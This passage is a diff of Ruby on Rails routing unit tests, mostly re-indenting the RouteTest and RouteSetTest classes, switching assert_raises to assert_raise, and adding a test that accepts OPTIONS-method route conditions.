+ r.connect 'ca', :controller => 'ca', :action => "aa"
+ r.connect 'cb', :controller => 'cb', :action => "ab"
+ r.connect 'cc', :controller => 'cc', :action => "ac"
+ r.connect ':controller/:action/:id'
+ r.connect ':controller/:action/:id.:format'
end
- def test_routes_changed_correctly_after_clear
- ActionController::Base.optimise_named_routes = true
- rs = ::ActionController::Routing::RouteSet.new
- rs.draw do |r|
- r.connect 'ca', :controller => 'ca', :action => "aa"
- r.connect 'cb', :controller => 'cb', :action => "ab"
- r.connect 'cc', :controller => 'cc', :action => "ac"
- r.connect ':controller/:action/:id'
- r.connect ':controller/:action/:id.:format'
- end
+ hash = rs.recognize_path "/cc"
- hash = rs.recognize_path "/cc"
+ assert_not_nil hash
+ assert_equal %w(cc ac), [hash[:controller], hash[:action]]
- assert_not_nil hash
- assert_equal %w(cc ac), [hash[:controller], hash[:action]]
+ rs.draw do |r|
+ r.connect 'cb', :controller => 'cb', :action => "ab"
+ r.connect 'cc', :controller => 'cc', :action => "ac"
+ r.connect ':controller/:action/:id'
+ r.connect ':controller/:action/:id.:format'
+ end
- rs.draw do |r|
- r.connect 'cb', :controller => 'cb', :action => "ab"
- r.connect 'cc', :controller => 'cc', :action => "ac"
- r.connect ':controller/:action/:id'
- r.connect ':controller/:action/:id.:format'
- end
+ hash = rs.recognize_path "/cc"
- hash = rs.recognize_path "/cc"
+ assert_not_nil hash
+ assert_equal %w(cc ac), [hash[:controller], hash[:action]]
- assert_not_nil hash
- assert_equal %w(cc ac), [hash[:controller], hash[:action]]
+ end
+end
- end
+class RouteTest < Test::Unit::TestCase
+ def setup
+ @route = ROUTING::Route.new
end
- class RouteTest < Test::Unit::TestCase
- def setup
- @route = ROUTING::Route.new
- end
+ def slash_segment(is_optional = false)
+ ROUTING::DividerSegment.new('/', :optional => is_optional)
+ end
- def slash_segment(is_optional = false)
- ROUTING::DividerSegment.new('/', :optional => is_optional)
+ def default_route
+ unless defined?(@default_route)
+ segments = []
+ segments << ROUTING::StaticSegment.new('/', :raw => true)
+ segments << ROUTING::DynamicSegment.new(:controller)
+ segments << slash_segment(:optional)
+ segments << ROUTING::DynamicSegment.new(:action, :default => 'index', :optional => true)
+ segments << slash_segment(:optional)
+ segments << ROUTING::DynamicSegment.new(:id, :optional => true)
+ segments << slash_segment(:optional)
+ @default_route = ROUTING::Route.new(segments).freeze
end
+ @default_route
+ end
- def default_route
- unless defined?(@default_route)
- segments = []
- segments << ROUTING::StaticSegment.new('/', :raw => true)
- segments << ROUTING::DynamicSegment.new(:controller)
- segments << slash_segment(:optional)
- segments << ROUTING::DynamicSegment.new(:action, :default => 'index', :optional => true)
- segments << slash_segment(:optional)
- segments << ROUTING::DynamicSegment.new(:id, :optional => true)
- segments << slash_segment(:optional)
- @default_route = ROUTING::Route.new(segments).freeze
- end
- @default_route
- end
+ def test_default_route_recognition
+ expected = {:controller => 'accounts', :action => 'show', :id => '10'}
+ assert_equal expected, default_route.recognize('/accounts/show/10')
+ assert_equal expected, default_route.recognize('/accounts/show/10/')
- def test_default_route_recognition
- expected = {:controller => 'accounts', :action => 'show', :id => '10'}
- assert_equal expected, default_route.recognize('/accounts/show/10')
- assert_equal expected, default_route.recognize('/accounts/show/10/')
+ expected[:id] = 'jamis'
+ assert_equal expected, default_route.recognize('/accounts/show/jamis/')
- expected[:id] = 'jamis'
- assert_equal expected, default_route.recognize('/accounts/show/jamis/')
+ expected.delete :id
+ assert_equal expected, default_route.recognize('/accounts/show')
+ assert_equal expected, default_route.recognize('/accounts/show/')
- expected.delete :id
- assert_equal expected, default_route.recognize('/accounts/show')
- assert_equal expected, default_route.recognize('/accounts/show/')
+ expected[:action] = 'index'
+ assert_equal expected, default_route.recognize('/accounts/')
+ assert_equal expected, default_route.recognize('/accounts')
- expected[:action] = 'index'
- assert_equal expected, default_route.recognize('/accounts/')
- assert_equal expected, default_route.recognize('/accounts')
+ assert_equal nil, default_route.recognize('/')
+ assert_equal nil, default_route.recognize('/accounts/how/goood/it/is/to/be/free')
+ end
- assert_equal nil, default_route.recognize('/')
- assert_equal nil, default_route.recognize('/accounts/how/goood/it/is/to/be/free')
- end
+ def test_default_route_should_omit_default_action
+ o = {:controller => 'accounts', :action => 'index'}
+ assert_equal '/accounts', default_route.generate(o, o, {})
+ end
- def test_default_route_should_omit_default_action
- o = {:controller => 'accounts', :action => 'index'}
- assert_equal '/accounts', default_route.generate(o, o, {})
- end
+ def test_default_route_should_include_default_action_when_id_present
+ o = {:controller => 'accounts', :action => 'index', :id => '20'}
+ assert_equal '/accounts/index/20', default_route.generate(o, o, {})
+ end
- def test_default_route_should_include_default_action_when_id_present
- o = {:controller => 'accounts', :action => 'index', :id => '20'}
- assert_equal '/accounts/index/20', default_route.generate(o, o, {})
- end
+ def test_default_route_should_work_with_action_but_no_id
+ o = {:controller => 'accounts', :action => 'list_all'}
+ assert_equal '/accounts/list_all', default_route.generate(o, o, {})
+ end
- def test_default_route_should_work_with_action_but_no_id
- o = {:controller => 'accounts', :action => 'list_all'}
- assert_equal '/accounts/list_all', default_route.generate(o, o, {})
- end
+ def test_default_route_should_uri_escape_pluses
+ expected = { :controller => 'accounts', :action => 'show', :id => 'hello world' }
+ assert_equal expected, default_route.recognize('/accounts/show/hello world')
+ assert_equal expected, default_route.recognize('/accounts/show/hello%20world')
+ assert_equal '/accounts/show/hello%20world', default_route.generate(expected, expected, {})
- def test_default_route_should_uri_escape_pluses
- expected = { :controller => 'accounts', :action => 'show', :id => 'hello world' }
- assert_equal expected, default_route.recognize('/accounts/show/hello world')
- assert_equal expected, default_route.recognize('/accounts/show/hello%20world')
- assert_equal '/accounts/show/hello%20world', default_route.generate(expected, expected, {})
+ expected[:id] = 'hello+world'
+ assert_equal expected, default_route.recognize('/accounts/show/hello+world')
+ assert_equal expected, default_route.recognize('/accounts/show/hello%2Bworld')
+ assert_equal '/accounts/show/hello+world', default_route.generate(expected, expected, {})
+ end
- expected[:id] = 'hello+world'
- assert_equal expected, default_route.recognize('/accounts/show/hello+world')
- assert_equal expected, default_route.recognize('/accounts/show/hello%2Bworld')
- assert_equal '/accounts/show/hello+world', default_route.generate(expected, expected, {})
- end
+ def test_matches_controller_and_action
+ # requirement_for should only be called for the action and controller _once_
+ @route.expects(:requirement_for).with(:controller).times(1).returns('pages')
+ @route.expects(:requirement_for).with(:action).times(1).returns('show')
- def test_matches_controller_and_action
- # requirement_for should only be called for the action and controller _once_
- @route.expects(:requirement_for).with(:controller).times(1).returns('pages')
- @route.expects(:requirement_for).with(:action).times(1).returns('show')
+ @route.requirements = {:controller => 'pages', :action => 'show'}
+ assert @route.matches_controller_and_action?('pages', 'show')
+ assert !@route.matches_controller_and_action?('not_pages', 'show')
+ assert !@route.matches_controller_and_action?('pages', 'not_show')
+ end
- @route.requirements = {:controller => 'pages', :action => 'show'}
- assert @route.matches_controller_and_action?('pages', 'show')
- assert !@route.matches_controller_and_action?('not_pages', 'show')
- assert !@route.matches_controller_and_action?('pages', 'not_show')
- end
+ def test_parameter_shell
+ page_url = ROUTING::Route.new
+ page_url.requirements = {:controller => 'pages', :action => 'show', :id => /\d+/}
+ assert_equal({:controller => 'pages', :action => 'show'}, page_url.parameter_shell)
+ end
- def test_parameter_shell
- page_url = ROUTING::Route.new
- page_url.requirements = {:controller => 'pages', :action => 'show', :id => /\d+/}
- assert_equal({:controller => 'pages', :action => 'show'}, page_url.parameter_shell)
- end
+ def test_defaults
+ route = ROUTING::RouteBuilder.new.build '/users/:id.:format', :controller => "users", :action => "show", :format => "html"
+ assert_equal(
+ { :controller => "users", :action => "show", :format => "html" },
+ route.defaults)
+ end
- def test_defaults
- route = ROUTING::RouteBuilder.new.build '/users/:id.:format', :controller => "users", :action => "show", :format => "html"
- assert_equal(
- { :controller => "users", :action => "show", :format => "html" },
- route.defaults)
+ def test_builder_complains_without_controller
+ assert_raise(ArgumentError) do
+ ROUTING::RouteBuilder.new.build '/contact', :contoller => "contact", :action => "index"
end
+ end
- def test_builder_complains_without_controller
- assert_raises(ArgumentError) do
- ROUTING::RouteBuilder.new.build '/contact', :contoller => "contact", :action => "index"
- end
- end
+ def test_significant_keys_for_default_route
+ keys = default_route.significant_keys.sort_by {|k| k.to_s }
+ assert_equal [:action, :controller, :id], keys
+ end
- def test_significant_keys_for_default_route
- keys = default_route.significant_keys.sort_by {|k| k.to_s }
- assert_equal [:action, :controller, :id], keys
- end
+ def test_significant_keys
+ segments = []
+ segments << ROUTING::StaticSegment.new('/', :raw => true)
+ segments << ROUTING::StaticSegment.new('user')
+ segments << ROUTING::StaticSegment.new('/', :raw => true, :optional => true)
+ segments << ROUTING::DynamicSegment.new(:user)
+ segments << ROUTING::StaticSegment.new('/', :raw => true, :optional => true)
- def test_significant_keys
- segments = []
- segments << ROUTING::StaticSegment.new('/', :raw => true)
- segments << ROUTING::StaticSegment.new('user')
- segments << ROUTING::StaticSegment.new('/', :raw => true, :optional => true)
- segments << ROUTING::DynamicSegment.new(:user)
- segments << ROUTING::StaticSegment.new('/', :raw => true, :optional => true)
+ requirements = {:controller => 'users', :action => 'show'}
- requirements = {:controller => 'users', :action => 'show'}
+ user_url = ROUTING::Route.new(segments, requirements)
+ keys = user_url.significant_keys.sort_by { |k| k.to_s }
+ assert_equal [:action, :controller, :user], keys
+ end
- user_url = ROUTING::Route.new(segments, requirements)
- keys = user_url.significant_keys.sort_by { |k| k.to_s }
- assert_equal [:action, :controller, :user], keys
- end
+ def test_build_empty_query_string
+ assert_equal '', @route.build_query_string({})
+ end
- def test_build_empty_query_string
- assert_equal '', @route.build_query_string({})
- end
+ def test_build_query_string_with_nil_value
+ assert_equal '', @route.build_query_string({:x => nil})
+ end
- def test_build_query_string_with_nil_value
- assert_equal '', @route.build_query_string({:x => nil})
- end
+ def test_simple_build_query_string
+ assert_equal '?x=1&y=2', order_query_string(@route.build_query_string(:x => '1', :y => '2'))
+ end
- def test_simple_build_query_string
- assert_equal '?x=1&y=2', order_query_string(@route.build_query_string(:x => '1', :y => '2'))
- end
+ def test_convert_ints_build_query_string
+ assert_equal '?x=1&y=2', order_query_string(@route.build_query_string(:x => 1, :y => 2))
+ end
- def test_convert_ints_build_query_string
- assert_equal '?x=1&y=2', order_query_string(@route.build_query_string(:x => 1, :y => 2))
- end
+ def test_escape_spaces_build_query_string
+ assert_equal '?x=hello+world&y=goodbye+world', order_query_string(@route.build_query_string(:x => 'hello world', :y => 'goodbye world'))
+ end
- def test_escape_spaces_build_query_string
- assert_equal '?x=hello+world&y=goodbye+world', order_query_string(@route.build_query_string(:x => 'hello world', :y => 'goodbye world'))
- end
+ def test_expand_array_build_query_string
+ assert_equal '?x%5B%5D=1&x%5B%5D=2', order_query_string(@route.build_query_string(:x => [1, 2]))
+ end
- def test_expand_array_build_query_string
- assert_equal '?x%5B%5D=1&x%5B%5D=2', order_query_string(@route.build_query_string(:x => [1, 2]))
- end
+ def test_escape_spaces_build_query_string_selected_keys
+ assert_equal '?x=hello+world', order_query_string(@route.build_query_string({:x => 'hello world', :y => 'goodbye world'}, [:x]))
+ end
- def test_escape_spaces_build_query_string_selected_keys
- assert_equal '?x=hello+world', order_query_string(@route.build_query_string({:x => 'hello world', :y => 'goodbye world'}, [:x]))
+ private
+ def order_query_string(qs)
+ '?' + qs[1..-1].split('&').sort.join('&')
end
+end
- private
- def order_query_string(qs)
- '?' + qs[1..-1].split('&').sort.join('&')
- end
+class RouteSetTest < Test::Unit::TestCase
+ def set
+ @set ||= ROUTING::RouteSet.new
end
- class RouteSetTest < Test::Unit::TestCase
- def set
- @set ||= ROUTING::RouteSet.new
- end
+ def request
+ @request ||= ActionController::TestRequest.new
+ end
- def request
- @request ||= ActionController::TestRequest.new
- end
+ def test_generate_extras
+ set.draw { |m| m.connect ':controller/:action/:id' }
+ path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
+ assert_equal "/foo/bar/15", path
+ assert_equal %w(that this), extras.map(&:to_s).sort
+ end
- def test_generate_extras
- set.draw { |m| m.connect ':controller/:action/:id' }
- path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
- assert_equal "/foo/bar/15", path
- assert_equal %w(that this), extras.map(&:to_s).sort
- end
+ def test_extra_keys
+ set.draw { |m| m.connect ':controller/:action/:id' }
+ extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
+ assert_equal %w(that this), extras.map(&:to_s).sort
+ end
- def test_extra_keys
- set.draw { |m| m.connect ':controller/:action/:id' }
- extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
- assert_equal %w(that this), extras.map(&:to_s).sort
+ def test_generate_extras_not_first
+ set.draw do |map|
+ map.connect ':controller/:action/:id.:format'
+ map.connect ':controller/:action/:id'
end
+ path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
+ assert_equal "/foo/bar/15", path
+ assert_equal %w(that this), extras.map(&:to_s).sort
+ end
- def test_generate_extras_not_first
- set.draw do |map|
- map.connect ':controller/:action/:id.:format'
- map.connect ':controller/:action/:id'
- end
- path, extras = set.generate_extras(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
- assert_equal "/foo/bar/15", path
- assert_equal %w(that this), extras.map(&:to_s).sort
+ def test_generate_not_first
+ set.draw do |map|
+ map.connect ':controller/:action/:id.:format'
+ map.connect ':controller/:action/:id'
end
+ assert_equal "/foo/bar/15?this=hello", set.generate(:controller => "foo", :action => "bar", :id => 15, :this => "hello")
+ end
- def test_generate_not_first
- set.draw do |map|
- map.connect ':controller/:action/:id.:format'
- map.connect ':controller/:action/:id'
- end
- assert_equal "/foo/bar/15?this=hello", set.generate(:controller => "foo", :action => "bar", :id => 15, :this => "hello")
+ def test_extra_keys_not_first
+ set.draw do |map|
+ map.connect ':controller/:action/:id.:format'
+ map.connect ':controller/:action/:id'
end
+ extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
+ assert_equal %w(that this), extras.map(&:to_s).sort
+ end
- def test_extra_keys_not_first
- set.draw do |map|
- map.connect ':controller/:action/:id.:format'
- map.connect ':controller/:action/:id'
- end
- extras = set.extra_keys(:controller => "foo", :action => "bar", :id => 15, :this => "hello", :that => "world")
- assert_equal %w(that this), extras.map(&:to_s).sort
+ def test_draw
+ assert_equal 0, set.routes.size
+ set.draw do |map|
+ map.connect '/hello/world', :controller => 'a', :action => 'b'
end
+ assert_equal 1, set.routes.size
+ end
- def test_draw
- assert_equal 0, set.routes.size
- set.draw do |map|
- map.connect '/hello/world', :controller => 'a', :action => 'b'
- end
- assert_equal 1, set.routes.size
+ def test_named_draw
+ assert_equal 0, set.routes.size
+ set.draw do |map|
+ map.hello '/hello/world', :controller => 'a', :action => 'b'
end
+ assert_equal 1, set.routes.size
+ assert_equal set.routes.first, set.named_routes[:hello]
+ end
- def test_named_draw
- assert_equal 0, set.routes.size
- set.draw do |map|
- map.hello '/hello/world', :controller => 'a', :action => 'b'
- end
- assert_equal 1, set.routes.size
- assert_equal set.routes.first, set.named_routes[:hello]
+ def test_later_named_routes_take_precedence
+ set.draw do |map|
+ map.hello '/hello/world', :controller => 'a', :action => 'b'
+ map.hello '/hello', :controller => 'a', :action => 'b'
end
+ assert_equal set.routes.last, set.named_routes[:hello]
+ end
- def test_later_named_routes_take_precedence
- set.draw do |map|
- map.hello '/hello/world', :controller => 'a', :action => 'b'
- map.hello '/hello', :controller => 'a', :action => 'b'
- end
- assert_equal set.routes.last, set.named_routes[:hello]
+ def setup_named_route_test
+ set.draw do |map|
+ map.show '/people/:id', :controller => 'people', :action => 'show'
+ map.index '/people', :controller => 'people', :action => 'index'
+ map.multi '/people/go/:foo/:bar/joe/:id', :controller => 'people', :action => 'multi'
+ map.users '/admin/users', :controller => 'admin/users', :action => 'index'
end
- def setup_named_route_test
- set.draw do |map|
- map.show '/people/:id', :controller => 'people', :action => 'show'
- map.index '/people', :controller => 'people', :action => 'index'
- map.multi '/people/go/:foo/:bar/joe/:id', :controller => 'people', :action => 'multi'
- map.users '/admin/users', :controller => 'admin/users', :action => 'index'
- end
+ klass = Class.new(MockController)
+ set.install_helpers(klass)
+ klass.new(set)
+ end
- klass = Class.new(MockController)
- set.install_helpers(klass)
- klass.new(set)
- end
+ def test_named_route_hash_access_method
+ controller = setup_named_route_test
- def test_named_route_hash_access_method
- controller = setup_named_route_test
+ assert_equal(
+ { :controller => 'people', :action => 'show', :id => 5, :use_route => :show, :only_path => false },
+ controller.send(:hash_for_show_url, :id => 5))
- assert_equal(
- { :controller => 'people', :action => 'show', :id => 5, :use_route => :show, :only_path => false },
- controller.send(:hash_for_show_url, :id => 5))
+ assert_equal(
+ { :controller => 'people', :action => 'index', :use_route => :index, :only_path => false },
+ controller.send(:hash_for_index_url))
- assert_equal(
- { :controller => 'people', :action => 'index', :use_route => :index, :only_path => false },
- controller.send(:hash_for_index_url))
+ assert_equal(
+ { :controller => 'people', :action => 'show', :id => 5, :use_route => :show, :only_path => true },
+ controller.send(:hash_for_show_path, :id => 5)
+ )
+ end
- assert_equal(
- { :controller => 'people', :action => 'show', :id => 5, :use_route => :show, :only_path => true },
- controller.send(:hash_for_show_path, :id => 5)
- )
- end
+ def test_named_route_url_method
+ controller = setup_named_route_test
- def test_named_route_url_method
- controller = setup_named_route_test
+ assert_equal "http://test.host/people/5", controller.send(:show_url, :id => 5)
+ assert_equal "/people/5", controller.send(:show_path, :id => 5)
- assert_equal "http://test.host/people/5", controller.send(:show_url, :id => 5)
- assert_equal "/people/5", controller.send(:show_path, :id => 5)
+ assert_equal "http://test.host/people", controller.send(:index_url)
+ assert_equal "/people", controller.send(:index_path)
- assert_equal "http://test.host/people", controller.send(:index_url)
- assert_equal "/people", controller.send(:index_path)
+ assert_equal "http://test.host/admin/users", controller.send(:users_url)
+ assert_equal '/admin/users', controller.send(:users_path)
+ assert_equal '/admin/users', set.generate(controller.send(:hash_for_users_url), {:controller => 'users', :action => 'index'})
+ end
- assert_equal "http://test.host/admin/users", controller.send(:users_url)
- assert_equal '/admin/users', controller.send(:users_path)
- assert_equal '/admin/users', set.generate(controller.send(:hash_for_users_url), {:controller => 'users', :action => 'index'})
- end
+ def test_named_route_url_method_with_anchor
+ controller = setup_named_route_test
- def test_named_route_url_method_with_anchor
- controller = setup_named_route_test
+ assert_equal "http://test.host/people/5#location", controller.send(:show_url, :id => 5, :anchor => 'location')
+ assert_equal "/people/5#location", controller.send(:show_path, :id => 5, :anchor => 'location')
- assert_equal "http://test.host/people/5#location", controller.send(:show_url, :id => 5, :anchor => 'location')
- assert_equal "/people/5#location", controller.send(:show_path, :id => 5, :anchor => 'location')
+ assert_equal "http://test.host/people#location", controller.send(:index_url, :anchor => 'location')
+ assert_equal "/people#location", controller.send(:index_path, :anchor => 'location')
- assert_equal "http://test.host/people#location", controller.send(:index_url, :anchor => 'location')
- assert_equal "/people#location", controller.send(:index_path, :anchor => 'location')
+ assert_equal "http://test.host/admin/users#location", controller.send(:users_url, :anchor => 'location')
+ assert_equal '/admin/users#location', controller.send(:users_path, :anchor => 'location')
- assert_equal "http://test.host/admin/users#location", controller.send(:users_url, :anchor => 'location')
- assert_equal '/admin/users#location', controller.send(:users_path, :anchor => 'location')
+ assert_equal "http://test.host/people/go/7/hello/joe/5#location",
+ controller.send(:multi_url, 7, "hello", 5, :anchor => 'location')
- assert_equal "http://test.host/people/go/7/hello/joe/5#location",
- controller.send(:multi_url, 7, "hello", 5, :anchor => 'location')
+ assert_equal "http://test.host/people/go/7/hello/joe/5?baz=bar#location",
+ controller.send(:multi_url, 7, "hello", 5, :baz => "bar", :anchor => 'location')
- assert_equal "http://test.host/people/go/7/hello/joe/5?baz=bar#location",
- controller.send(:multi_url, 7, "hello", 5, :baz => "bar", :anchor => 'location')
+ assert_equal "http://test.host/people?baz=bar#location",
+ controller.send(:index_url, :baz => "bar", :anchor => 'location')
+ end
- assert_equal "http://test.host/people?baz=bar#location",
- controller.send(:index_url, :baz => "bar", :anchor => 'location')
- end
+ def test_named_route_url_method_with_port
+ controller = setup_named_route_test
+ assert_equal "http://test.host:8080/people/5", controller.send(:show_url, 5, :port=>8080)
+ end
- def test_named_route_url_method_with_port
- controller = setup_named_route_test
- assert_equal "http://test.host:8080/people/5", controller.send(:show_url, 5, :port=>8080)
- end
+ def test_named_route_url_method_with_host
+ controller = setup_named_route_test
+ assert_equal "http://some.example.com/people/5", controller.send(:show_url, 5, :host=>"some.example.com")
+ end
- def test_named_route_url_method_with_host
- controller = setup_named_route_test
- assert_equal "http://some.example.com/people/5", controller.send(:show_url, 5, :host=>"some.example.com")
- end
+ def test_named_route_url_method_with_protocol
+ controller = setup_named_route_test
+ assert_equal "https://test.host/people/5", controller.send(:show_url, 5, :protocol => "https")
+ end
- def test_named_route_url_method_with_protocol
- controller = setup_named_route_test
- assert_equal "https://test.host/people/5", controller.send(:show_url, 5, :protocol => "https")
- end
+ def test_named_route_url_method_with_ordered_parameters
+ controller = setup_named_route_test
+ assert_equal "http://test.host/people/go/7/hello/joe/5",
+ controller.send(:multi_url, 7, "hello", 5)
+ end
- def test_named_route_url_method_with_ordered_parameters
- controller = setup_named_route_test
- assert_equal "http://test.host/people/go/7/hello/joe/5",
- controller.send(:multi_url, 7, "hello", 5)
- end
+ def test_named_route_url_method_with_ordered_parameters_and_hash
+ controller = setup_named_route_test
+ assert_equal "http://test.host/people/go/7/hello/joe/5?baz=bar",
+ controller.send(:multi_url, 7, "hello", 5, :baz => "bar")
+ end
- def test_named_route_url_method_with_ordered_parameters_and_hash
- controller = setup_named_route_test
- assert_equal "http://test.host/people/go/7/hello/joe/5?baz=bar",
- controller.send(:multi_url, 7, "hello", 5, :baz => "bar")
- end
+ def test_named_route_url_method_with_ordered_parameters_and_empty_hash
+ controller = setup_named_route_test
+ assert_equal "http://test.host/people/go/7/hello/joe/5",
+ controller.send(:multi_url, 7, "hello", 5, {})
+ end
- def test_named_route_url_method_with_ordered_parameters_and_empty_hash
- controller = setup_named_route_test
- assert_equal "http://test.host/people/go/7/hello/joe/5",
- controller.send(:multi_url, 7, "hello", 5, {})
- end
+ def test_named_route_url_method_with_no_positional_arguments
+ controller = setup_named_route_test
+ assert_equal "http://test.host/people?baz=bar",
+ controller.send(:index_url, :baz => "bar")
+ end
- def test_named_route_url_method_with_no_positional_arguments
- controller = setup_named_route_test
- assert_equal "http://test.host/people?baz=bar",
- controller.send(:index_url, :baz => "bar")
- end
+ def test_draw_default_route
+ ActionController::Routing.with_controllers(['users']) do
+ set.draw do |map|
+ map.connect '/:controller/:action/:id'
+ end
- def test_draw_default_route
- ActionController::Routing.with_controllers(['users']) do
- set.draw do |map|
- map.connect '/:controller/:action/:id'
- end
+ assert_equal 1, set.routes.size
+ route = set.routes.first
- assert_equal 1, set.routes.size
- route = set.routes.first
+ assert route.segments.last.optional?
- assert route.segments.last.optional?
+ assert_equal '/users/show/10', set.generate(:controller => 'users', :action => 'show', :id => 10)
+ assert_equal '/users/index/10', set.generate(:controller => 'users', :id => 10)
- assert_equal '/users/show/10', set.generate(:controller => 'users', :action => 'show', :id => 10)
- assert_equal '/users/index/10', set.generate(:controller => 'users', :id => 10)
+ assert_equal({:controller => 'users', :action => 'index', :id => '10'}, set.recognize_path('/users/index/10'))
+ assert_equal({:controller => 'users', :action => 'index', :id => '10'}, set.recognize_path('/users/index/10/'))
+ end
+ end
- assert_equal({:controller => 'users', :action => 'index', :id => '10'}, set.recognize_path('/users/index/10'))
- assert_equal({:controller => 'users', :action => 'index', :id => '10'}, set.recognize_path('/users/index/10/'))
+ def test_draw_default_route_with_default_controller
+ ActionController::Routing.with_controllers(['users']) do
+ set.draw do |map|
+ map.connect '/:controller/:action/:id', :controller => 'users'
end
+ assert_equal({:controller => 'users', :action => 'index'}, set.recognize_path('/'))
end
+ end
- def test_draw_default_route_with_default_controller
- ActionController::Routing.with_controllers(['users']) do
- set.draw do |map|
- map.connect '/:controller/:action/:id', :controller => 'users'
- end
- assert_equal({:controller => 'users', :action => 'index'}, set.recognize_path('/'))
+ def test_route_with_parameter_shell
+ ActionController::Routing.with_controllers(['users', 'pages']) do
+ set.draw do |map|
+ map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+/
+ map.connect '/:controller/:action/:id'
end
- end
- def test_route_with_parameter_shell
- ActionController::Routing.with_controllers(['users', 'pages']) do
- set.draw do |map|
- map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+/
- map.connect '/:controller/:action/:id'
- end
+ assert_equal({:controller => 'pages', :action => 'index'}, set.recognize_path('/pages'))
+ assert_equal({:controller => 'pages', :action => 'index'}, set.recognize_path('/pages/index'))
+ assert_equal({:controller => 'pages', :action => 'list'}, set.recognize_path('/pages/list'))
- assert_equal({:controller => 'pages', :action => 'index'}, set.recognize_path('/pages'))
- assert_equal({:controller => 'pages', :action => 'index'}, set.recognize_path('/pages/index'))
- assert_equal({:controller => 'pages', :action => 'list'}, set.recognize_path('/pages/list'))
+ assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/pages/show/10'))
+ assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/page/10'))
+ end
+ end
- assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/pages/show/10'))
- assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/page/10'))
+ def test_route_requirements_with_anchor_chars_are_invalid
+ assert_raise ArgumentError do
+ set.draw do |map|
+ map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /^\d+/
end
end
-
- def test_route_requirements_with_anchor_chars_are_invalid
- assert_raises ArgumentError do
- set.draw do |map|
- map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /^\d+/
- end
+ assert_raise ArgumentError do
+ set.draw do |map|
+ map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\A\d+/
end
- assert_raises ArgumentError do
- set.draw do |map|
- map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\A\d+/
- end
+ end
+ assert_raise ArgumentError do
+ set.draw do |map|
+ map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+$/
end
- assert_raises ArgumentError do
- set.draw do |map|
- map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+$/
- end
+ end
+ assert_raise ArgumentError do
+ set.draw do |map|
+ map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+\Z/
end
- assert_raises ArgumentError do
- set.draw do |map|
- map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+\Z/
- end
+ end
+ assert_raise ArgumentError do
+ set.draw do |map|
+ map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+\z/
end
- assert_raises ArgumentError do
- set.draw do |map|
- map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+\z/
- end
+ end
+ assert_nothing_raised do
+ set.draw do |map|
+ map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+/, :name => /^(david|jamis)/
end
- assert_nothing_raised do
- set.draw do |map|
- map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /\d+/, :name => /^(david|jamis)/
- end
- assert_raises ActionController::RoutingError do
- set.generate :controller => 'pages', :action => 'show', :id => 10
- end
+ assert_raise ActionController::RoutingError do
+ set.generate :controller => 'pages', :action => 'show', :id => 10
end
end
+ end
- def test_route_requirements_with_invalid_http_method_is_invalid
- assert_raises ArgumentError do
- set.draw do |map|
- map.connect 'valid/route', :controller => 'pages', :action => 'show', :conditions => {:method => :invalid}
- end
+ def test_route_requirements_with_invalid_http_method_is_invalid
+ assert_raise ArgumentError do
+ set.draw do |map|
+ map.connect 'valid/route', :controller => 'pages', :action => 'show', :conditions => {:method => :invalid}
end
end
+ end
- def test_route_requirements_with_head_method_condition_is_invalid
- assert_raises ArgumentError do
- set.draw do |map|
- map.connect 'valid/route', :controller => 'pages', :action => 'show', :conditions => {:method => :head}
- end
+ def test_route_requirements_with_options_method_condition_is_valid
+ assert_nothing_raised do
+ set.draw do |map|
+ map.connect 'valid/route', :controller => 'pages', :action => 'show', :conditions => {:method => :options}
end
end
+ end
- def test_non_path_route_requirements_match_all
+ def test_route_requirements_with_head_method_condition_is_invalid
+ assert_raise ArgumentError do
set.draw do |map|
- map.connect 'page/37s', :controller => 'pages', :action => 'show', :name => /(jamis|david)/
- end
- assert_equal '/page/37s', set.generate(:controller => 'pages', :action => 'show', :name => 'jamis')
- assert_raises ActionController::RoutingError do
- set.generate(:controller => 'pages', :action => 'show', :name => 'not_jamis')
- end
- assert_raises ActionController::RoutingError do
- set.generate(:controller => 'pages', :action => 'show', :name => 'nor_jamis_and_david')
+ map.connect 'valid/route', :controller => 'pages', :action => 'show', :conditions => {:method => :head}
end
end
+ end
- def test_recognize_with_encoded_id_and_regex
- set.draw do |map|
- map.connect 'page/:id', :controller => 'pages', :action => 'show', :id => /[a-zA-Z0-9\+]+/
- end
+ def test_non_path_route_requirements_match_all
+ set.draw do |map|
+ map.connect 'page/37s', :controller => 'pages', :action => 'show', :name => /(jamis|david)/
+ end
+ assert_equal '/page/37s', set.generate(:controller => 'pages', :action => 'show', :name => 'jamis')
+ assert_raise ActionController::RoutingError do
+ set.generate(:controller => 'pages', :action => 'show', :name => 'not_jamis')
+ end
+ assert_raise ActionController::RoutingError do
+ set.generate(:controller => 'pages', :action => 'show', :name => 'nor_jamis_and_david')
+ end
+ end
- assert_equal({:controller => 'pages', :action => 'show', :id => '10'}, set.recognize_path('/page/10'))
- assert_equal({:controller => 'pages', :action => 'show', :id => 'hello+world'}, set.recognize_path('/page/hello+world'))
